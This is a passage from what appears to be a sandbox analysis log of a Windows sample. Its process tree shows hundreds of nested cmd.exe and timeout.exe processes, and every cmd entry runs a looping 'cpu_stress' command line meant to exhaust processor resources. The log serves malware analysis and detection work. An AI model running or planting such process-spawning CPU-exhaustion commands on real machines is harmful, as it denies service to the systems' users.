        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:9180
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:8688
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:8652
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:4704
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:4696
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:4548
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:924
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:4228
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:3176
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:1964
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:5020
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:5512
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:5520
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:6048
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6056
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:6020
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6016
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:5460
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:5200
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:5600
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:5020
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:6804
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6824
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:6416
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:6632
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6564
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:1284
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:6588
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:7260
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        Delays execution with timeout.exe
        
        PID:7272
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:7804
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:7816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:7232
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:7412
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:7828
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        Delays execution with timeout.exe
        
        PID:7836
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:8132
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:7540
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:8324
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        Delays execution with timeout.exe
        
        PID:8356
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:8508
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:8516
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:9192
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:9208
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        17⤵
        
        PID:8888
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        17⤵
        
        PID:1756
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:4772
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:4144
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:4280
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:3252
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:1456
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:1928
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:3764
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:2568
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:3672
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:3960
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:3216
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:2160
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:5676
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:5684
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:6120
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:6140
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:5744
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:5876
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:5832
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:5808
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:4204
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:6160
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:6724
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:6740
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7076
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:7088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:6596
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:6608
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:6548
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:6556
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7244
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:7252
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:8000
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:8088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7552
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:7548
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7660
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:7672
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7652
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:6160
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:7772
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:7496
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:8796
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:8808
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:8980
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:9020
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        14⤵
        
        PID:8616
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        
        PID:8696
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:1616
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:3732
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:1768
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:1440
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:2000
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:3360
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:432
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:3176
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:8
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:4692
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:3252
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:1964
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:844
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:2300
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:5588
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:5596
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6128
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:5124
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:5936
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:5980
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:5548
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:5280
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6016
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:5748
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6620
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:6648
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:7104
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:7112
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6892
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:7024
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6428
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:7088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:7472
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:7496
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:7696
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:7780
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:6196
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:6444
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:8136
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:7496
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:7316
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:6476
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:7460
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:7192
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:8588
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:8628
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:9076
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        
        PID:9088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        11⤵
        
        PID:8312
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:7252
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:1228
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:3504
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:4532
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:8
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:3396
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:4248
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:1392
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:3012
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:1484
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5020
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:1044
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:2836
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:2316
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:4592
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:4248
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:4844
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:5664
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5756
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:5228
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5244
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:5364
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5424
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:5792
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5864
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:1724
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:5904
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:6516
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:6560
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7096
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7128
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:6744
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:6588
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7040
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7172
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7928
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7936
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7584
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7448
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7280
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7272
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:8128
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7752
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:7644
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:7952
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:8788
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:8816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:8992
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        
        PID:9112
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        8⤵
        
        PID:8656
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:8464
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:4080
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2588
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:3760
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:632
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:1868
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3076
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:1952
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1424
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:2252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3372
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:4960
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1892
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:3040
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4844
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:1480
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4452
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:948
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1532
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:3624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1532
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:5856
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5864
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:5332
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5176
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:5868
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5020
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:5472
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5556
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:6220
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6244
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:6676
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6744
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:5904
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6492
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:6932
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7064
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:6816
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:6284
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:7324
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:7332
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:7992
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8028
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:6752
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7364
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:7936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:8040
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:7916
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7952
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:8104
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:7812
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:8676
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8684
    - - C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        5⤵
        
        PID:8204
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:8224
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
  2⤵
  PID:5048
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5064
- C:\Windows\system32\cmd.exe
  cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
